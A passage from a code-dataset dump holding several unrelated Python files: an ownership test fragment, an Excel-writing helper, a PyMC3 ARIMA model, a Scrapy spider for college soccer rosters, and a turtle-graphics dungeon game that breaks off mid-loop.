self.assertEqual(self.owner(), old_owner)\n\n def test_change_invalid_owner(self):\n invalid_account = DUMMY\n self.assertReverts(self.nominateOwner, invalid_account, invalid_account)\n\n def test_undo_change_owner(self):\n old_owner = self.owner()\n new_owner = DUMMY\n\n self.assertReverts(self.nominateOwner, new_owner, old_owner)\n self.nominateOwner(old_owner, new_owner)\n self.nominateOwner(old_owner, ZERO_ADDRESS)\n self.assertReverts(self.acceptOwnership, new_owner)\n","sub_path":"tests/test_Owned.py","file_name":"test_Owned.py","file_ext":"py","file_size_in_byte":3190,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"433359679","text":"#encoding: utf-8\nimport xlrd\nimport xlwt\nimport xlutils.copy\n\ndef _getOutCell(outSheet, colIndex, rowIndex):\n \"\"\" HACK: Extract the internal xlwt cell representation. \"\"\"\n row = outSheet._Worksheet__rows.get(rowIndex)\n if not row: return None\n\n cell = row._Row__cells.get(colIndex)\n return cell\n\ndef setOutCell(outSheet, col, row, value):\n \"\"\" Change cell value without changing formatting. \"\"\"\n # HACK to retain cell style.\n previousCell = _getOutCell(outSheet, col, row)\n # END HACK, PART I\n\n outSheet.write(row, col, value)\n\n # HACK, PART II\n if previousCell:\n newCell = _getOutCell(outSheet, col, row)\n if newCell:\n newCell.xf_idx = previousCell.xf_idx\n # END HACK\n\ndef simple_excel(data, infile, outfile):\n\n data = [ [unicode(val, 'utf-8') if isinstance(val, basestring) else val for val in row] for row in data]\n\n inbook = xlrd.open_workbook(infile, formatting_info=True)\n outbook = xlutils.copy.copy(inbook)\n\n outSheet = outbook.get_sheet(0)\n for row, sub_data in enumerate(data):\n for col, value in enumerate(sub_data):\n setOutCell(outSheet, col, row, value)\n\n outbook.save(outfile)\n\ndef multi_sheet(infos, infile, outfile):\n\n inbook = xlrd.open_workbook(infile, formatting_info=True)\n outbook = xlutils.copy.copy(inbook)\n\n\n for id, info in enumerate(infos):\n info['data'] = [ [unicode(val, 'utf-8') if isinstance(val, basestring) else val for val in row] for row in info['data']]\n outSheet = outbook.get_sheet(id)\n for row, sub_data in enumerate(info['data']):\n for col, value in enumerate(sub_data):\n setOutCell(outSheet, col, row, value)\n\n outbook.save(outfile)\n'''\ndef multi_sheet(infos, filename):\n book = xlwt.Workbook()\n\n for info in infos:\n sheet = book.add_sheet(info['sheetname'])\n\n info['data'] = [ [unicode(val, 'utf-8') if isinstance(val, basestring) else val for val in row] for row in info['data']]\n\n for row, sub_data in enumerate(info['data']):\n for col, value in enumerate(sub_data):\n sheet.write(row, col, value)\n\n book.save(filename)\n'''\n\n","sub_path":"python/116_cronscript/lib/mkexcel2.py","file_name":"mkexcel2.py","file_ext":"py","file_size_in_byte":2182,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"55539931","text":"import pandas as pd\nimport pymc3 as pm\nfrom theano import scan, shared\nimport theano.tensor as tt\n\n\ndef build_model(X, treatment_start, treatment_observations):\n time_seen = pd.to_datetime(treatment_start) + pd.DateOffset(treatment_observations - 1)\n y = shared(X[:time_seen].values)\n y_switch = shared(X[:time_seen].index < treatment_start)\n with pm.Model() as i1ma1:\n σ = pm.HalfCauchy('σ', beta=2.)\n θ = pm.Normal('θ', 0., sd=2.)\n β = pm.Normal('β', 0., sd=2.)\n\n y_adj = tt.switch(y_switch, y, y - tt.dot(y, β))\n\n # ARIMA (0, 1, 1)\n # ---------------\n # (1 - B) y[t] = (1 - θB) ε[t]\n # y[t] - y[t-1] = ε[t] - θ * ε[t-1]\n # ε[t] = y[t] - y[t-1] - θ * ε[t-1]\n def calc_next(y_lag1, y_lag0, ε, θ):\n return y_lag0 - y_lag1 - θ * ε\n\n # Initial noise guess -- let's just seed with 0\n ε0 = tt.zeros_like(y_adj)\n\n ε, _ = scan(fn=calc_next,\n sequences=dict(input=y_adj, taps=[-1, 0]),\n outputs_info=[ε0],\n non_sequences=[θ])\n\n pm.Potential('like', pm.Normal.dist(0, sd=σ).logp(ε))\n return i1ma1\n","sub_path":"utils/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":1195,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"522401192","text":"# -*- coding: utf-8 -*-\r\n\r\nimport scrapy\r\nimport sys\r\nimport re\r\nsys.path.append('..')\r\nfrom items import Player\r\nfrom soccerspider import SoccerSpider\r\nfrom CurrentRosterYear import get_current_roster_year\r\nfrom LeagueDictionary import get_college_from_url, check_league\r\nfrom TableSpider import TableSpider\r\n\r\nclass NewRosterDataTableDukeSpider(scrapy.Spider):\r\n\r\n \"\"\"\r\n Spider for websites formatted like Duke's and Holy Cross's page. Only for current roster year\r\n \"\"\"\r\n name = 'newRosterDataTableDukeSpider'\r\n\r\n current_roster_year = get_current_roster_year() #i.e 2018-2019\r\n\r\n custom_settings = {\r\n\r\n 'ITEM_PIPELINES':{\r\n 'SoccerScrape.pipelines.IncomingPlayerPipeline': 300,\r\n }\r\n }\r\n\r\n start_urls = [\r\n 'http://www.goduke.com/SportSelect.dbml?SPID=1833&SPSID=22446&DB_OEM_ID=4200',\r\n 'https://goholycross.com/SportSelect.dbml?DB_OEM_ID=33100&SPID=174208&SPSID=1020214'\r\n ]\r\n\r\n allowed_domains = [\r\n 'www.goduke.com',\r\n 'goholycross.com'\r\n ]\r\n\r\n INDEX = { #maps the school to where the attributes are in the HTMl tags\r\n 'www.goduke' :{'NUMBER': 1 ,'PLAYER_POSITION': 3, 'ACADEMIC_YEAR': 6, 'HEIGHT': 4, 'WEIGHT': 5 ,'LOCATION': 7},\r\n 'goholycross' :{'NUMBER': 1 ,'PLAYER_POSITION': 3, 'ACADEMIC_YEAR': 6, 'HEIGHT': 4, 'WEIGHT': 5 , 'LOCATION': 7}\r\n }\r\n\r\n def start_requests(self):\r\n \"\"\"\r\n Starts the http request\r\n \"\"\"\r\n for u in self.start_urls:\r\n try:\r\n yield scrapy.Request(u, callback=self.parse_list,\r\n errback=SoccerSpider.errback_httpbin, dont_filter=True)\r\n except ValueError:\r\n print(\"ValueError\")\r\n continue\r\n\r\n\r\n def parse_list(self, response):\r\n \"\"\"\r\n parses data in a table format similar to American University's\r\n \"\"\"\r\n self.logger.debug('Got successful response from {}'.format(response.url))\r\n players_table_view = '//*[@id=\"roster-list-table\"]/tbody/tr'\r\n players = response.xpath(players_table_view)\r\n school_url = response.url[response.url.index('/')+2:response.url.index('.com')] #domain for school\r\n\r\n roster_year = (response.xpath('//*[@id=\"roster-page\"]/h1/text()')\r\n .extract_first()\r\n .split(' ')[-2]\r\n .split('-')[1]\r\n .strip())\r\n\r\n for player in players:\r\n #extracting data from table\r\n playerItem = Player()\r\n player_name = player.xpath(\".//td[2]/a/text()\").extract_first().strip().split() #array [fn, ln]\r\n\r\n if(len(player_name) == 0):\r\n continue #skipping header row\r\n\r\n player_first_name = player_name[0].strip()\r\n player_last_name = \" \".join(player_name[1:]).strip()\r\n\r\n player_position = player.xpath('.//td['+ self.reference_index(school_url, 'PLAYER_POSITION') + ']/text()').extract_first().strip() #'position'\r\n\r\n player_class_year = player.xpath('.//td['+ self.reference_index(school_url, 'ACADEMIC_YEAR') + ']/text()').extract()[1].strip()\r\n\r\n player_height = player.xpath('.//td['+ self.reference_index(school_url, 'HEIGHT') + ']/text()').extract() #array['feet-inches']\r\n\r\n number = player.xpath('.//td[' + self.reference_index(school_url, 'NUMBER') + ']/text()').extract_first().strip()\r\n\r\n weight = player.xpath('.//td[' + self.reference_index(school_url, 'WEIGHT') + ']/text()').extract_first().strip()\r\n\r\n if(len(player_height) == 0):\r\n player_height = 'NA'\r\n else:\r\n player_height = player_height[0].strip()\r\n\r\n player_location = player.xpath('.//td['+ self.reference_index(school_url, 'LOCATION') + ']/text()').extract_first().strip()\r\n\r\n #Item Processing\r\n playerItem['previousSchool'] = 'NA'\r\n self.process_player_location(playerItem, player_location)\r\n playerItem['rosterYear'] = roster_year\r\n playerItem['college'] = get_college_from_url(urlDomain=response.url[response.url.index('/')\r\n + 2:response.url.index('.com')+4])\r\n\r\n playerItem['collegeLeague'] = check_league(urlDomain=response.url[response.url.index('/')\r\n + 2:response.url.index('.com')+4])\r\n\r\n SoccerSpider.process_other_attribute(playerItem, player_first_name, 'firstName')\r\n SoccerSpider.process_other_attribute(playerItem, player_last_name, 'lastName')\r\n SoccerSpider.process_other_attribute(playerItem, player_position, 'position')\r\n SoccerSpider.process_other_attribute(playerItem, player_class_year, 'classYear')\r\n TableSpider.process_other_attribute(playerItem, player_height, 'height')\r\n SoccerSpider.process_other_attribute(playerItem, number, 'number')\r\n SoccerSpider.process_other_attribute(playerItem, weight, 'weight')\r\n\r\n href = player.xpath('.//td[2]/a/@href').extract_first()\r\n link = response.url[0:response.url.index('.com')+4] + href\r\n\r\n playerItem['profileLink'] = link\r\n\r\n yield playerItem\r\n\r\n\r\n def process_player_location(self, playerItem, player_location):\r\n \"\"\"\r\n method process_player_location processes attributes regarding high school, hometown, and home state\r\n type player_location: string formatted\r\n \"\"\"\r\n if not player_location:\r\n playerItem['homeTown'] = 'NA'\r\n playerItem['state_or_country'] = 'NA'\r\n playerItem['highSchool'] = 'NA'\r\n return\r\n\r\n split_location = player_location.split('(')\r\n homeTown = split_location[0].strip().split(',') #['hometown', 'state']\r\n playerItem['homeTown'] = re.sub(' +', ' ', homeTown[0].strip())\r\n playerItem['state_or_country'] = re.sub(' +', ' ', homeTown[1].strip())\r\n playerItem['highSchool'] = 'NA'\r\n\r\n if len(split_location) > 1:\r\n highSchool = split_location[1].strip()\r\n playerItem['highSchool'] = re.sub('[)]', '', highSchool)\r\n\r\n @classmethod\r\n def reference_index(self, school_url, attribute):\r\n \"\"\" Method reference_index looks up the proper index value in tages for the data needed\"\"\"\r\n return str(NewRosterDataTableDukeSpider.INDEX[school_url][attribute])\r\n\r\n\r\n","sub_path":"scripts/SoccerScrape/spiders/NewRosterDataTableViewDukeSpider.py","file_name":"NewRosterDataTableViewDukeSpider.py","file_ext":"py","file_size_in_byte":6755,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"617989488","text":"\r\nfrom enemy import*\r\nfrom info import*\r\nfrom images import images\r\nfrom keybinding import keybinding\r\nfrom maps import*\r\nfrom intro import*\r\nfrom item import*\r\nimport turtle\r\nimport math\r\nimport random\r\nimport time\r\nimport winsound\r\n\r\nfor image in images:\r\n turtle.register_shape(image)\r\n\r\n#intro screen\r\n#------------------------------\r\nintro()\r\n\r\n#main screen \r\n#------------------------------\r\n\r\nwn = turtle.Screen()\r\nwn.bgcolor(\"black\")\r\nwn.title(\"7 Dungeons Deep (7DD)\")\r\nwn.setup(1900,930)\r\nwn.bgpic(\".\\\\art\\\\background.gif\")\r\nwn.tracer(0)\r\n\r\nclass Player(turtle.Turtle):\r\n def __init__(self):\r\n turtle.Turtle.__init__(self)\r\n self.shape(\".\\\\art\\\\heroright.gif\")\r\n self.penup()\r\n self.speed()\r\n self.fd(0)\r\n self.right=1\r\n self.left=0\r\n self.up=0\r\n self.down=0\r\n\r\n def headright(self):\r\n\r\n if self.right==1:\r\n pass\r\n\r\n if self.down==1:\r\n self.rt(270)\r\n self.down=0\r\n self.right=1 \r\n \r\n if self.left==1:\r\n self.rt(180)\r\n self.left=0\r\n self.right=1\r\n\r\n if self.up==1:\r\n self.rt(90)\r\n self.up=0\r\n self.right=1\r\n\r\n self.shape(\".\\\\art\\\\heroright.gif\")\r\n missile.shape(\".\\\\art\\\\arrowright.gif\")\r\n missile.fire()\r\n\r\n\r\n def headdown(self):\r\n\r\n if self.down==1:\r\n pass\r\n\r\n if self.left==1:\r\n \r\n self.rt(270)\r\n self.left=0\r\n self.down=1\r\n\r\n\r\n if self.up==1:\r\n \r\n self.rt(180)\r\n self.up=0\r\n self.down=1\r\n \r\n if self.right==1:\r\n \r\n self.rt(90)\r\n self.right=0\r\n self.down=1\r\n\r\n self.shape(\".\\\\art\\\\herodown.gif\")\r\n missile.shape(\".\\\\art\\\\arrowdown.gif\")\r\n missile.fire()\r\n\r\n def headleft(self):\r\n\r\n if self.left==1:\r\n pass\r\n\r\n if self.up==1:\r\n \r\n self.rt(270)\r\n self.up=0\r\n self.left=1\r\n\r\n if self.right==1:\r\n \r\n self.rt(180)\r\n self.right=0\r\n self.left=1\r\n\r\n if self.down==1:\r\n \r\n self.rt(90)\r\n self.down=0\r\n self.left=1\r\n\r\n self.shape(\".\\\\art\\\\heroleft.gif\")\r\n missile.shape(\".\\\\art\\\\arrowleft.gif\")\r\n missile.fire()\r\n \r\n def headup(self):\r\n \r\n if self.up==1:\r\n pass\r\n\r\n if self.right==1:\r\n \r\n self.rt(270)\r\n self.right=0\r\n self.up=1\r\n\r\n if self.down==1:\r\n \r\n self.rt(180)\r\n self.down=0\r\n self.up=1\r\n\r\n if self.left==1:\r\n \r\n self.rt(90)\r\n self.left=0\r\n self.up=1\r\n \r\n self.shape(\".\\\\art\\\\heroup.gif\")\r\n missile.shape(\".\\\\art\\\\arrowup.gif\")\r\n missile.fire()\r\n \r\n\r\n def go_up(self):\r\n\r\n if self.up==1:\r\n pass\r\n\r\n if self.right==1:\r\n \r\n self.rt(270)\r\n self.right=0\r\n self.up=1\r\n\r\n if self.down==1:\r\n \r\n self.rt(180)\r\n self.down=0\r\n self.up=1\r\n\r\n if self.left==1:\r\n \r\n self.rt(90)\r\n self.left=0\r\n self.up=1\r\n\r\n move_to_x = self.xcor()\r\n move_to_y = self.ycor()+24\r\n\r\n self.shape(\".\\\\art\\\\heroup.gif\")\r\n\r\n \r\n if (move_to_x, move_to_y) not in walls:\r\n self.goto(move_to_x, move_to_y)\r\n \r\n\r\n def go_down(self):\r\n\r\n if self.down==1:\r\n pass\r\n\r\n if self.left==1:\r\n \r\n self.rt(270)\r\n self.left=0\r\n self.down=1\r\n\r\n\r\n if self.up==1:\r\n \r\n self.rt(180)\r\n self.up=0\r\n self.down=1\r\n \r\n if self.right==1:\r\n \r\n self.rt(90)\r\n self.right=0\r\n self.down=1\r\n \r\n move_to_x = self.xcor()\r\n move_to_y = self.ycor()-24\r\n self.shape(\".\\\\art\\\\herodown.gif\")\r\n \r\n if (move_to_x, move_to_y) not in walls and npcs:\r\n self.goto(move_to_x, move_to_y)\r\n \r\n \r\n def go_left(self):\r\n\r\n if self.left==1:\r\n pass\r\n\r\n if self.up==1:\r\n \r\n self.rt(270)\r\n self.up=0\r\n self.left=1\r\n\r\n if self.right==1:\r\n \r\n self.rt(180)\r\n self.right=0\r\n self.left=1\r\n\r\n if self.down==1:\r\n \r\n self.rt(90)\r\n self.down=0\r\n self.left=1\r\n \r\n move_to_x = self.xcor()-24\r\n move_to_y = self.ycor()\r\n self.shape(\".\\\\art\\\\heroleft.gif\")\r\n \r\n if (move_to_x, move_to_y) not in walls :\r\n self.goto(move_to_x, move_to_y)\r\n \r\n def go_right(self):\r\n\r\n if self.right==1:\r\n pass\r\n\r\n if self.down==1:\r\n self.rt(270)\r\n self.down=0\r\n self.right=1 \r\n \r\n if self.left==1:\r\n self.rt(180)\r\n self.left=0\r\n self.right=1\r\n\r\n if self.up==1:\r\n self.rt(90)\r\n self.up=0\r\n self.right=1\r\n \r\n move_to_x = player.xcor()+24\r\n move_to_y = player.ycor()\r\n\r\n\r\n if (move_to_x, move_to_y) not in walls:\r\n self.goto(move_to_x, move_to_y)\r\n \r\n self.shape(\".\\\\art\\\\heroright.gif\")\r\n\r\n \r\n def drink(self):\r\n \r\n if info.potion>0 and info.hp is not info.fullhp : \r\n info.potion-=1\r\n info.show_healthpotion()\r\n\r\n if info.hp < info.fullhp-300:\r\n info.hp+=300\r\n info.show_health()\r\n else:\r\n info.hp=info.fullhp\r\n info.show_health()\r\n else:\r\n pass\r\n \r\n def fireball(self):\r\n if info.fire_scroll>0:\r\n info.fire_scroll-=1\r\n info.show_fire_scroll()\r\n missile2.fire()\r\n \r\n else:\r\n pass\r\n \r\n\r\n def is_collision(self,other):\r\n a = self.xcor()- other.xcor()\r\n b = self.ycor()- other.ycor()\r\n distance = math.sqrt ((a ** 2)+(b ** 2) )\r\n\r\n if distance < 10:\r\n return True\r\n else:\r\n return False\r\n\r\n def is_collision2(self,other):\r\n a = self.xcor()- other.xcor()\r\n b = self.ycor()- other.ycor()\r\n distance = math.sqrt ((a ** 2)+(b ** 2) )\r\n\r\n if distance < 50:\r\n return True\r\n else:\r\n return False\r\n\r\n def destroy(self):\r\n self.goto(500,500)\r\n self.hideturtle()\r\n\r\n\r\nclass Missile(turtle.Turtle):\r\n def __init__(self,startx, starty):\r\n turtle.Turtle.__init__(self)\r\n self.speed = 3\r\n self.fd(10)\r\n self.penup()\r\n self.color(\"yellow\")\r\n self.status = \"ready\"\r\n self.goto(-1000, 1000)\r\n\r\n def is_collision(self,other):\r\n a = self.xcor()- other.xcor()\r\n b = self.ycor()- other.ycor()\r\n distance = math.sqrt ((a ** 2)+(b ** 2) )\r\n\r\n if distance < 22: # LESS THAN 25 OR YOU ATTACK DIAGANAL \r\n return True\r\n else:\r\n return False\r\n\r\n def is_far(self,other):\r\n a = self.xcor()- other.xcor()\r\n b = self.ycor()- other.ycor()\r\n distance = math.sqrt ((a ** 2)+(b ** 2) )\r\n\r\n if distance >25:\r\n return True\r\n else:\r\n return False\r\n \r\n\r\n def fire(self):\r\n if self.status == \"ready\":\r\n self.goto(player.xcor(), player.ycor())\r\n self.setheading(player.heading())\r\n self.status = \"firing\"\r\n if lives != 3:\r\n winsound.PlaySound(\".\\\\sound\\\\swing.wav\", winsound.SND_ASYNC) \r\n \r\n def move(self):\r\n \r\n if self.status == \"ready\":\r\n self.goto(-2456, 3422)\r\n \r\n \r\n if self.status == \"firing\":\r\n self.fd(self.speed) \r\n \r\n #Border check\r\n\r\n\r\n if missile.is_far(player):\r\n self.setheading(player.heading())\r\n self.status = \"ready\" \r\n \r\n \r\n if self.xcor() < -400 or self.xcor() > 400 or \\\r\n self.ycor()< -400 or self.ycor()> 400:\r\n self.setheading(player.heading())\r\n self.status = \"ready\"\r\n\r\n if (self.xcor(), self.ycor()) in walls: \r\n self.setheading(player.heading())\r\n self.status = \"ready\"\r\n \r\nclass Missile2(turtle.Turtle):\r\n def __init__(self,startx, starty):\r\n turtle.Turtle.__init__(self)\r\n self.shape(\".\\\\art\\\\fire.gif\")\r\n self.speed = 3\r\n self.fd(10)\r\n self.damage=400\r\n self.penup()\r\n self.color(\"yellow\")\r\n self.status = \"ready\"\r\n self.goto(-1000, 1000)\r\n\r\n def is_collision(self,other):\r\n a = self.xcor()- other.xcor()\r\n b = self.ycor()- other.ycor()\r\n distance = math.sqrt ((a ** 2)+(b ** 2) )\r\n\r\n if distance < 30:\r\n return True\r\n else:\r\n return False\r\n\r\n def is_far(self,other):\r\n a = self.xcor()- other.xcor()\r\n b = self.ycor()- other.ycor()\r\n distance = math.sqrt ((a ** 2)+(b ** 2) )\r\n\r\n if distance >125:\r\n return True\r\n else:\r\n return False\r\n \r\n\r\n def fire(self):\r\n if self.status == \"ready\":\r\n self.goto(player.xcor(), player.ycor())\r\n self.setheading(player.heading())\r\n self.status = \"firing\"\r\n if lives != 3:\r\n winsound.PlaySound(\".\\\\sound\\\\fireball.wav\", winsound.SND_ASYNC)\r\n\r\n \r\n def move(self):\r\n \r\n if self.status == \"ready\":\r\n self.goto(-2456, 3422)\r\n \r\n \r\n if self.status == \"firing\":\r\n self.fd(self.speed) \r\n \r\n #Border check\r\n\r\n\r\n if missile2.is_far(player):\r\n self.setheading(player.heading())\r\n self.status = \"ready\" \r\n \r\n \r\n if self.xcor() < -400 or self.xcor() > 400 or \\\r\n self.ycor()< -400 or self.ycor()> 400:\r\n self.setheading(player.heading())\r\n self.status = \"ready\"\r\n\r\n if (self.xcor(), self.ycor()) in walls: \r\n self.setheading(player.heading())\r\n self.status = \"ready\"\r\n\r\n\r\nparticles = []\r\n\r\nfor i in range(15):\r\n particles.append(Particle(\"circle\", \"red\", 0, 0))\r\n \r\nmission=0\r\nlives=0\r\nquests2=[]\r\nquests=[]\r\nquest_items=[]\r\narmourupgrade=0\r\nweaponupgrade=0\r\ncrowns=[]\r\nenemies2 =[]\r\nenemies =[] \r\ncoins =[]\r\ndoors =[]\r\nhealings=[]\r\nfake_walls=[]\r\nnpcs=[]\r\nfirescrolls=[]\r\nswords=[]\r\narmours=[]\r\nwalls=[]\r\n\r\nlevels = [\"\"]\r\n\r\nlevels.append(level_1)\r\nlevels.append(level_2)\r\nlevels.append(level_3)\r\nlevels.append(level_4)\r\nlevels.append(level_5)\r\nlevels.append(level_6)\r\nlevels.append(level_7)\r\nlevels.append(level_8)\r\n\r\n#row are y ( up/down) column are x (left and right )\r\n# \r\n\r\ndef setup_maze(level):\r\n for y in range (len(level)): #tell how many rows there is \r\n for x in range(len(level[y])): # acquire every x of the y row\r\n #Get the character at each x,y coordinate\r\n #NOTE the order of Y AND X in the next line\r\n character = level [y][x]\r\n #Calculate the screen x,y coordinates. Furtherest left upper corner is (0,0)\r\n screen_x = -350 + (x*24)\r\n screen_y = 288 - (y*24)\r\n\r\n #check if it is an x represent a wall\r\n if character == \"X\": \r\n pen.goto(screen_x, screen_y)\r\n pen.shape(\".\\\\art\\\\wall.gif\")\r\n pen.stamp()\r\n walls.append((screen_x,screen_y))\r\n\r\n if character == \"T\": \r\n pen.goto(screen_x, screen_y)\r\n pen.shape(\".\\\\art\\\\torch.gif\")\r\n pen.stamp()\r\n walls.append((screen_x,screen_y))\r\n\r\n if character == \"Y\": \r\n pen.goto(screen_x, screen_y)\r\n pen.shape(\".\\\\art\\\\skeleton.gif\")\r\n pen.stamp()\r\n walls.append((screen_x,screen_y))\r\n\r\n if character == \"G\": \r\n pen.goto(screen_x, screen_y)\r\n pen.shape(\".\\\\art\\\\tree.gif\")\r\n pen.stamp()\r\n walls.append((screen_x,screen_y))\r\n\r\n if character == \"R\": \r\n pen.goto(screen_x, screen_y)\r\n pen.shape(\".\\\\art\\\\rock.gif\")\r\n pen.stamp()\r\n walls.append((screen_x,screen_y))\r\n\r\n if character == \"V\": \r\n pen.goto(screen_x, screen_y)\r\n pen.shape(\".\\\\art\\\\cage.gif\")\r\n pen.stamp()\r\n walls.append((screen_x,screen_y))\r\n\r\n\r\n\r\n\r\n \r\n if character == \"P\": # p= player \r\n player.goto(screen_x, screen_y)\r\n\r\n if character == \"C\":\r\n coins.append(Coin(screen_x, screen_y))\r\n \r\n if character ==\"E\":\r\n enemies.append(Enemy(screen_x, screen_y,player,walls))\r\n\r\n if character ==\"D\":\r\n doors.append(Door(screen_x, screen_y))\r\n\r\n if character ==\"M\":\r\n crowns.append(Crown(screen_x, screen_y))\r\n\r\n if character ==\"H\":\r\n healings.append(Healing(screen_x, screen_y))\r\n\r\n if character ==\"F\":\r\n firescrolls.append(Firescroll(screen_x, screen_y))\r\n\r\n if character ==\"A\":\r\n armours.append(Armour(screen_x, screen_y))\r\n\r\n if character ==\"S\":\r\n swords.append(Sword(screen_x, screen_y))\r\n\r\n if character ==\"Z\":\r\n enemies.append(Enemy2(screen_x, screen_y,player,walls))\r\n\r\n\r\n if character ==\"N\":\r\n npcs.append(Npc(screen_x, screen_y))\r\n\r\n if character ==\"Q\":\r\n quests.append(Quest(screen_x, screen_y))\r\n\r\n if character ==\"B\":\r\n quest_items.append(Quest_item(screen_x, screen_y))\r\n\r\n if character ==\"I\":\r\n fake_walls.append(Fake_wall(screen_x, screen_y))\r\n\r\n if character ==\"J\":\r\n enemies.append(Enemy3(screen_x, screen_y,player,walls))\r\n\r\n if character ==\"L\":\r\n enemies.append(Enemy4(screen_x, screen_y,player,walls))\r\n\r\n if character ==\"K\":\r\n quests2.append(Quest2(screen_x, screen_y))\r\n \r\n \r\npen=Pen()\r\nplayer= Player()\r\nmissile = Missile(0, 0)\r\nmissile2 = Missile2(0, 0)\r\n\r\n\r\nsetup_maze(levels[1])\r\nmaze=(\"level1\")\r\n\r\ninfo=Info()\r\ngame=Info()\r\ngame.draw_border()\r\ngame.draw_border2()\r\ngame.draw_border3()\r\ngame.draw_border4()\r\ngame.show_rules()\r\ngame.show_gold()\r\ngame.show_armour()\r\ngame.show_weapon()\r\ninfo.show_health()\r\ninfo.show_strength()\r\ninfo.show_level()\r\ninfo.show_healthpotion()\r\ninfo.show_fire_scroll()\r\ninfo.show_exp()\r\ninfo.show_defense()\r\n\r\n\r\n#keyboard binding\r\n\r\nkeybinding(player)\r\n\r\nfor enemy in enemies:\r\n turtle.ontimer(enemy.move(walls,player),t=250)\r\n\r\n \r\n\r\n#bob=0\r\n\r\nwhile True:\r\n \r\n # bob+=1\r\n # while bob ==300:\r\n\r\n # for enemy in enemies:\r\n # turtle.ontimer(enemy.move(walls,player),t=100)\r\n # bob=0\r\n \r\n \r\n missile.move()\r\n missile2.move()\r\n\r\n for particle in particles:\r\n particle.move()\r\n \r\n for armour in armours:\r\n\r\n if player.is_collision(armour):\r\n\r\n armour.destroy()\r\n\r\n if armourupgrade==1:\r\n info.armourstats+=4\r\n game.armour=(\"Mythril Plate\")\r\n game.show_armour()\r\n info.show_defense()\r\n armourupgrade+=1\r\n winsound.PlaySound(\".\\\\sound\\\\armour.wav\", winsound.SND_ASYNC)\r\n\r\n if armourupgrade==0:\r\n info.armourstats+=6\r\n game.armour=(\"Steel Plate\")\r\n game.show_armour()\r\n info.show_defense()\r\n armourupgrade+=1\r\n winsound.PlaySound(\".\\\\sound\\\\armour.wav\", winsound.SND_ASYNC)\r\n\r\n for npc in npcs:\r\n\r\n if player.is_collision(npc): \r\n game.intro() \r\n Npc.destroy(npc)\r\n \r\n for quest in quests:\r\n\r\n if player.is_collision2(quest):\r\n if mission ==0:\r\n game.start()\r\n \r\n if mission ==1:\r\n game.end()\r\n info.exp+=quest.exp\r\n info.show_exp()\r\n Quest.destroy(quest)\r\n\r\n\r\n for quest2 in quests2:\r\n\r\n if player.is_collision2(quest2):\r\n if info.boss ==0:\r\n game.start2()\r\n \r\n if info.boss ==1:\r\n game.end2()\r\n info.exp+=200\r\n info.show_exp()\r\n Quest.destroy(quest2)\r\n\r\n for quest_item in quest_items:\r\n if player.is_collision(quest_item):\r\n mission=1\r\n Quest_item.destroy(quest_item)\r\n winsound.PlaySound(\".\\\\sound\\\\key.wav\", winsound.SND_ASYNC)\r\n \r\n\r\n for sword in swords:\r\n\r\n if player.is_collision(sword):\r\n\r\n sword.destroy()\r\n\r\n if weaponupgrade==1:\r\n info.weaponstats+=4\r\n game.weapon=(\"Mythril Sword\")\r\n game.show_weapon()\r\n info.show_strength()\r\n weaponupgrade+=1\r\n winsound.PlaySound(\".\\\\sound\\\\sword.wav\", winsound.SND_ASYNC)\r\n\r\n if weaponupgrade==0:\r\n info.weaponstats+=6\r\n game.weapon=(\"Steel Sword\")\r\n game.show_weapon()\r\n info.show_strength()\r\n weaponupgrade+=1\r\n winsound.PlaySound(\".\\\\sound\\\\sword.wav\", winsound.SND_ASYNC)\r\n\r\n for firescroll in firescrolls:\r\n\r\n if player.is_collision(firescroll):\r\n\r\n firescroll.destroy()\r\n info.fire_scroll+=1\r\n info.show_fire_scroll()\r\n winsound.PlaySound(\".\\\\sound\\\\scroll.wav\", winsound.SND_ASYNC)\r\n\r\n\r\n for healing in healings:\r\n\r\n if player.is_collision(healing):\r\n\r\n healing.destroy()\r\n info.potion+=1\r\n info.show_healthpotion()\r\n winsound.PlaySound(\".\\\\sound\\\\potion.wav\", winsound.SND_ASYNC)\r\n \r\n\r\n for crown in crowns:\r\n \r\n if player.is_collision(crown):\r\n \r\n #winsound.PlaySound(\".\\\\sound\\\\victory.wav\",0)\r\n player.destroy()\r\n crown.destroy()\r\n crowns.remove(crown)\r\n lives=3\r\n game.win()\r\n \r\n \r\n for enemy in enemies:\r\n if missile.is_collision(enemy):\r\n enemy.hp -= (info.strength+info.weaponstats)\r\n missile.status = \"ready\"\r\n winsound.PlaySound(\".\\\\sound\\\\orkdeath.wav\", winsound.SND_ASYNC)\r\n\r\n if missile2.is_collision(enemy):\r\n enemy.hp -= missile2.damage\r\n missile2.status = \"ready\"\r\n winsound.PlaySound(\".\\\\sound\\\\orkdeath.wav\", winsound.SND_ASYNC)\r\n\r\n\r\n if enemy.hp<=0 and enemy.alive==True:\r\n enemy.alive=False \r\n Enemy.destroy(enemy)\r\n missile.status = \"ready\"\r\n info.exp += enemy.exp\r\n info.boss+=enemy.boss\r\n info.kill+=1\r\n info.show_exp()\r\n winsound.PlaySound(\".\\\\sound\\\\orkdeath.wav\", winsound.SND_ASYNC)\r\n\r\n if info.exp>70 and info.level2_claimed:\r\n info.hp=1100\r\n info.fullhp=1100\r\n info.strength=20\r\n info.defense=4\r\n info.level=2\r\n info.level2_claimed = False\r\n info.show_defense()\r\n info.show_health()\r\n info.show_strength()\r\n info.show_level()\r\n winsound.PlaySound(\".\\\\sound\\\\levelup.wav\", winsound.SND_ASYNC)\r\n time.sleep(1)\r\n \r\n\r\n if info.exp>150 and info.level3_claimed:\r\n info.hp=1200\r\n info.fullhp=1200\r\n info.strength=25\r\n info.defense=8\r\n info.level=3\r\n info.level3_claimed = False\r\n info.show_defense()\r\n info.show_health()\r\n info.show_strength()\r\n info.show_level()\r\n winsound.PlaySound(\".\\\\sound\\\\levelup.wav\", winsound.SND_ASYNC)\r\n time.sleep(1)\r\n \r\n if info.exp>300 and info.level4_claimed:\r\n info.hp=1300\r\n info.fullhp=1300\r\n info.strength=30\r\n info.defense=12\r\n info.level=4\r\n info.level4_claimed = False\r\n info.show_defense()\r\n info.show_health()\r\n info.show_strength()\r\n info.show_level()\r\n winsound.PlaySound(\".\\\\sound\\\\levelup.wav\", 